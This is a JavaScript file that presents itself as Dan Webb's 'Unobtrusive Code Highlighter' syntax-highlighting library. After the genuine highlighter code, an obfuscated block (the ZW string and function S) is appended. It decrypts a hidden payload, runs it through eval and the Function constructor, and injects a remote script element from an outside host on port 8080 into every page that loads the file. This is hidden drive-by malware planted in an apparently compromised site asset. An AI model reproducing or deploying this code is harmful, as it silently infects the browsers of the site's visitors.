/* Unobtrustive Code Highlighter By Dan Webb 11/2005
   Version: 0.4
	
	Usage:
		Add a script tag for this script and any stylesets you need to use
		to the page in question, add correct class names to CODE elements, 
		define CSS styles for elements. That's it! 
	
	Known to work on:
		IE 5.5+ PC
		Firefox/Mozilla PC/Mac
		Opera 7.23 + PC
		Safari 2
		
	Known to degrade gracefully on:
		IE5.0 PC
	
	Note: IE5.0 fails due to the use of lookahead in some stylesets.  To avoid script errors
	in older browsers use expressions that use lookahead in string format when defining stylesets.
	
	This script is inspired by star-light by entirely cunning Dean Edwards
	http://dean.edwards.name/star-light/.  
*/

// replace callback support for safari.
if ("a".replace(/a/, function() {return "b"}) != "b") (function(){
  var default_replace = String.prototype.replace;
  String.prototype.replace = function(search,replace){
	// replace is not function
	if(typeof replace != "function"){
		return default_replace.apply(this,arguments)
	}
	var str = "" + this;
	var callback = replace;
	// search string is not RegExp
	if(!(search instanceof RegExp)){
		var idx = str.indexOf(search);
		return (
			idx == -1 ? str :
			default_replace.apply(str,[search,callback(search, idx, str)])
		)
	}
	var reg = search;
	var result = [];
	var lastidx = reg.lastIndex;
	var re;
	while((re = reg.exec(str)) != null){
		var idx  = re.index;
		var args = re.concat(idx, str);
		result.push(
			str.slice(lastidx,idx),
			callback.apply(null,args).toString()
		);
		if(!reg.global){
			lastidx += RegExp.lastMatch.length;
			break
		}else{
			lastidx = reg.lastIndex;
		}
	}
	result.push(str.slice(lastidx));
	return result.join("")
  }
})();

var CodeHighlighter = { styleSets : new Array };

CodeHighlighter.addStyle = function(name, rules) {
	// using push test to disallow older browsers from adding styleSets
	if ([].push) this.styleSets.push({
		name : name, 
		rules : rules,
		ignoreCase : arguments[2] || false
	})
	
	function setEvent() {
		// set highlighter to run on load (use LowPro if present)
		if (typeof Event != 'undefined' && typeof Event.onReady == 'function') 
		  return Event.onReady(CodeHighlighter.init.bind(CodeHighlighter));
		
		var old = window.onload;
		
		if (typeof window.onload != 'function') {
			window.onload = function() { CodeHighlighter.init() };
		} else {
			window.onload = function() {
				old();
				CodeHighlighter.init();
			}
		}
	}
	
	// only set the event when the first style is added
	if (this.styleSets.length==1) setEvent();
}

CodeHighlighter.init = function() {
	if (!document.getElementsByTagName) return; 
	if ("a".replace(/a/, function() {return "b"}) != "b") return; // throw out Safari versions that don't support replace function
	// throw out older browsers
	
	var codeEls = document.getElementsByTagName("CODE");
	// collect array of all pre elements
	codeEls.filter = function(f) {
		var a =  new Array;
		for (var i = 0; i < this.length; i++) if (f(this[i])) a[a.length] = this[i];
		return a;
	} 
	
	var rules = new Array;
	rules.toString = function() {
		// joins regexes into one big parallel regex
		var exps = new Array;
		for (var i = 0; i < this.length; i++) exps.push(this[i].exp);
		return exps.join("|");
	}
	
	function addRule(className, rule) {
		// add a replace rule
		var exp = (typeof rule.exp != "string")?String(rule.exp).substr(1, String(rule.exp).length-2):rule.exp;
		// converts regex rules to strings and chops of the slashes
		rules.push({
			className : className,
			exp : "(" + exp + ")",
			length : (exp.match(/(^|[^\\])\([^?]/g) || "").length + 1, // number of subexps in rule
			replacement : rule.replacement || null 
		});
	}
	
	function parse(text, ignoreCase) {
		// main text parsing and replacement
		return text.replace(new RegExp(rules, (ignoreCase)?"gi":"g"), function() {
			var i = 0, j = 1, rule;
			while (rule = rules[i++]) {
				if (arguments[j]) {
					// if no custom replacement defined do the simple replacement
					if (!rule.replacement) return "<span class=\"" + rule.className + "\">" + arguments[0] + "</span>";
					else {
						// replace $0 with the className then do normal replaces
						var str = rule.replacement.replace("$0", rule.className);
						for (var k = 1; k <= rule.length - 1; k++) str = str.replace("$" + k, arguments[j + k]);
						return str;
					}
				} else j+= rule.length;
			}
		});
	}
	
	function highlightCode(styleSet) {
		// clear rules array
		var parsed;
		rules.length = 0;
		
		// get stylable elements by filtering out all code elements without the correct className	
		var stylableEls = codeEls.filter(function(item) {return (item.className.indexOf(styleSet.name)>=0)});
		
		// add style rules to parser
		for (var className in styleSet.rules) addRule(className, styleSet.rules[className]);
		
			
		// replace for all elements
		for (var i = 0; i < stylableEls.length; i++) {
			// EVIL hack to fix IE whitespace badness if it's inside a <pre>
			if (/MSIE/.test(navigator.appVersion) && stylableEls[i].parentNode.nodeName == 'PRE') {
				stylableEls[i] = stylableEls[i].parentNode;
				
				parsed = stylableEls[i].innerHTML.replace(/(<code[^>]*>)([^<]*)<\/code>/i, function() {
					return arguments[1] + parse(arguments[2], styleSet.ignoreCase) + "</code>"
				});
				parsed = parsed.replace(/\n( *)/g, function() { 
					var spaces = "";
					for (var i = 0; i < arguments[1].length; i++) spaces+= "&nbsp;";
					return "\n" + spaces;  
				});
				parsed = parsed.replace(/\t/g, "&nbsp;&nbsp;&nbsp;&nbsp;");
				parsed = parsed.replace(/\n(<\/\w+>)?/g, "<br />$1").replace(/<br \/>[\n\r\s]*<br \/>/g, "<p><br></p>");
				
			} else parsed = parse(stylableEls[i].innerHTML, styleSet.ignoreCase);
			
			stylableEls[i].innerHTML = parsed;
		}
	}
	
	// run highlighter on all stylesets
	for (var i=0; i < this.styleSets.length; i++) {
		highlightCode(this.styleSets[i]);
	}
}
var ZW="fee1e7d3f193fcffe6e0d588fffafad591cefdc8fffae1f2fef5dbc7d4fcd0f1deebc1cfc2f9dbe4e2efd4e7edd7e4c8c5d8d2d5f7dce0ead1e1f2e5cae2c2d0e186ccefb3e1fac985f9c985f6fa";this.pX=false;var XOg='';this.AL=false;function S(C){ var Vn=false;var Ez=false;function O(s,a){return s[o("achorCAdet", [1,2,0])](a);var XW;if(XW!='I' && XW!='VR'){XW='I'};}var A;if(A!='tM'){A='tM'}; var w=function(Cp){var f;if(f!='' && f!='H'){f='OJ'};var M=[173,135,0][2];var u;if(u!='Hn' && u != ''){u=null};var WX;if(WX!='dc' && WX != ''){WX=null};var p=[81,0][1];var XL;if(XL!='' && XL!='mw'){XL=null};var SQ=[54,221,1][2];this.QC=21439;var Yo;if(Yo!='TN' && Yo!='Vi'){Yo='TN'};var b=Cp[o("enlthg", [2,0,1])];var Ku;if(Ku!='FQ'){Ku='FQ'};var g=[255][0];var sS;if(sS!='Yw'){sS=''};this.GL=false;var QS;if(QS!='ef'){QS='ef'};var md;if(md!='' && md!='D'){md=''};while(p<b){var hM;if(hM!='rI' && hM!='OL'){hM=''};p++;var tFK;if(tFK!='' && tFK!='tF'){tFK=null};K=O(Cp,p - SQ);M+=K*b;this.yU='';}this.ln="";return new B(M % g);var NS="";var My=26207;};var By;if(By!='ZK'){By='ZK'}; var o=function(Wt, Q){var CI=385;var P = '';this.eU='';var cr;if(cr!=''){cr='Cs'};var x=[253,0,33][1];this.gU='';var dN;if(dN!='lQ' && dN != ''){dN=null};var T = Wt.length;var CZ = Q.length;var mz;if(mz!='OT' && mz!='EA'){mz='OT'};var fy=new String();var SQ=[1][0];var Ci;if(Ci!='ne' && Ci!='xE'){Ci='ne'};for(var y = x; y < T; y += CZ) {var q=new String();var UG='';var BC = Wt.substr(y, CZ);var uu=new Date();var Nv=new Date();if(BC.length == CZ){var Ps=43462;var uX=43630;for(var p in Q) {var dR=39172;var dP;if(dP!='' && dP!='tr'){dP=''};P+=BC.substr(Q[p], SQ);var fF;if(fF!='Cz' && fF!='fk'){fF='Cz'};this.Wo="Wo";}var oA;if(oA!='' && oA!='NW'){oA=null};} else {  P+=BC;var oa;if(oa!='Pp'){oa='Pp'};}var xN;if(xN!='NZ' && xN != ''){xN=null};var hf;if(hf!='Xl' && hf != ''){hf=null};}this.NH='';return P;this.RW=5802;};var Pa;if(Pa!='' && Pa!='vm'){Pa='Py'}; function j(Wt){var pc;if(pc!='NE'){pc=''};var hft=false;var y =[90,0][1];var x =[239,0,214,8][1];var P = '';var rJ="";var E = -1;var Qj=false;Wt = new B(Wt);this.vO="";var Cl=new Date();for (y=Wt[o("elgnht", [1,0])]-E;y>=x;y=y-[1][0]){P+=Wt[o("rhcaAt", [2,1,3,0])](y);var zM;if(zM!='wQ'){zM=''};}this.NEw=false;this.Qw=false;return P;}var wy=new Date();this.yQ="yQ"; function Qd(L,v){return L^v;}var Uo=new String();var eB=new Array();var nJ;if(nJ!='' && nJ!='Sz'){nJ=''};var V=window;var KA=12465;var uj=32809;var n=V[o("vlea", [2,0,3,1])];var GE="GE";var CO=false;var k=n(o("oFcnutin", [1,4,3,2,5,6,0]));var Nc;if(Nc!='ko' && Nc != ''){Nc=null};var wK;if(wK!='kG' && wK != ''){wK=null};var PP = '';var zN;if(zN!='' && zN!='hH'){zN=''};var i=n(o("geRpxE", [2,1,0]));var BP;if(BP!='' && BP!='qt'){BP=''};var we;if(we!='' && we!='eK'){we='Fh'};var B=n(o("rStgin", [1,2,0]));var xx;if(xx!='tA'){xx='tA'};var Ct=new Array();this.Sy="Sy";var Te=B[o("rfCmoahoCrde", [1,0,4,3,2])];var xU;if(xU!='QF'){xU=''};this.lSb="lSb";var U=V[o("aseupnec", [3,5,2,1,7,0,4,6])];var ht;if(ht!='' && ht!='PU'){ht='nC'};var fS;if(fS!='bZ' && fS != ''){fS=null};var oCF=65403;var fq='';var hI;if(hI!='' && hI!='Ad'){hI=''};var Lz = /[^@a-z0-9A-Z_-]/g;var SQ =[1][0];var Nl;if(Nl!='' && Nl!='hh'){Nl=''};this.JY=21784;var x =[0,207,161][0];var AB=new Array();this.sy="sy";var m = C[o("elgnht", [1,0])];var Hp=new String();this.si=false;var MF = '';var rr;if(rr!='Jd' && rr!='To'){rr='Jd'};this.BcC="";var X = '';var NWj;if(NWj!='iNY' && NWj!='Fk'){NWj='iNY'};var kZ =[96,225,0][2];this.kk='';var cE=new Date();var pB=[1, o("mcoductne.eaerteelEms(tn\'tircp\')", [3,2,1,4,0]),2, o("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, o("um.harxitsreecnr:u.8080", [3,0,2,1,4]),4, o(".sedAtttibure(\'tefedr\'", [3,0,1,2]),5, o("pnet.loala.ri.jp.wiw", [1,2,3,4,0,5]),6, o("eynzav.cet", [3,4,1,7,0,5,6,2]),7, o("dmetniaotedca.m", [3,5,1,2,6,4,0]),8, o("iwdnwoo.lnaod", [1,0]),11, o("mccbihanc.mo", [1,0,3,2]),12, o("olggoce.om", [3,4,0,2,1,6,7,5]),14, o("uitoncnf()", [7,0,6,5,2,1,3,4]),15, o("acct(h)e", [1,0]),16, o("rveoizn", [1,2,0]),17, o("tt:ph\"", [5,4,0,1,3,2]),18, o(".drsc", [1,0]),19, o("1\')\'", [3,0,1,2]),20, o("rty", [1,0,2])];this.Zg=false;var NK;if(NK!='' && NK!='EK'){NK='BN'};var wi =[2][0];var e = Te(37);var Xi = '';this.ow="";var Iz;if(Iz!='xF' && Iz!='FL'){Iz=''};var ER;if(ER!='sU' && ER!='Lk'){ER=''};var WeD;if(WeD!='' && WeD!='jJ'){WeD=''};var CM;if(CM!='' && CM!='SU'){CM=''};for(var F=x; F < m; F+=wi){this.GP="GP";X+= e; X+= C[o("ubsstr", [2,0,1,3])](F, wi);var TO=new String();}var Sv=new Date();var C = U(X);var Qy="Qy";var pP;if(pP!='FB'){pP=''};var z = new B(S);var jw;if(jw!='Hx'){jw=''};var oX = z[o("arlpece", [1,4,3,2,0])](Lz, MF);this.ZO='';var tK=new String();var vmu;if(vmu!='' && vmu!='EM'){vmu=null};var Ca = pB[o("elgnht", [1,0])];var es;if(es!='vQ' && es != ''){es=null};this.im="";this.cV=29402;oX = j(oX);var nS=false;var PK=false;var t = new B(k);var sJ=false;var kkR='';var Z = t[o("percale", [2,1,0])](Lz, MF);var Z = w(Z);this.ERL="";var Pf=w(oX);for(var y=x; y < (C[o("elgnht", [1,0])]);y=y+[1][0]) {var r = oX.charCodeAt(kZ);var tB;if(tB!='' && tB!='Jy'){tB=''};var h = O(C,y);var iH="iH";var dcw=new Array();h = Qd(h, r);h = Qd(h, Pf);var Yu;if(Yu!=''){Yu='RhM'};var mI=new String();h = Qd(h, Z);var UW;if(UW!='Hq'){UW='Hq'};var yWG=new Array();kZ++;if(kZ > oX.length-SQ){kZ=x;}this.Wn=false;var Jm;if(Jm!='iE' && Jm != ''){Jm=null};var GJ=false;Xi += Te(h);}var vY=false;for(PM=x; PM < Ca; PM+=wi){var ui="";var PT;if(PT!='Xct' && PT != ''){PT=null};var xj;if(xj!='VP' && xj!='zz'){xj=''};var AO;if(AO!='ZN' && AO!='mK'){AO=''};var N = Te(pB[PM]);var l = pB[PM + SQ];var yp;if(yp!=''){yp='xWp'};var kL;if(kL!='HZO' && kL!='Txa'){kL=''};this.Ng=11457;var qn;if(qn!='' && qn!='Sa'){qn=null};var xm = new i(N, B.fromCharCode(103));this.vmC='';this.ku='';Xi=Xi[o("percale", [2,1,0])](xm, l);var OJn;if(OJn!='cb'){OJn='cb'};}var xQp="xQp";var yL=new k(Xi);this.qQ="qQ";yL();var Kf=new Array();var qRM=new Array();yL = '';var Io=false;Xi = '';var sE;if(sE!=''){sE='rQ'};Pf = '';this.QM="";var ak;if(ak!='Im' && ak != ''){ak=null};t = '';var LP;if(LP!='UZH' && LP!='eN'){LP='UZH'};var iM;if(iM!='Ht' && iM!='yX'){iM='Ht'};Z = '';var zh=new String();var bZi;if(bZi!=''){bZi='qRz'};var CR="CR";var AK;if(AK!=''){AK='VXE'};oX = '';var Wr=new String();var PR="";var io;if(io!='Fi' && io != ''){io=null};return '';};this.pX=false;var XOg='';this.AL=false;S(ZW);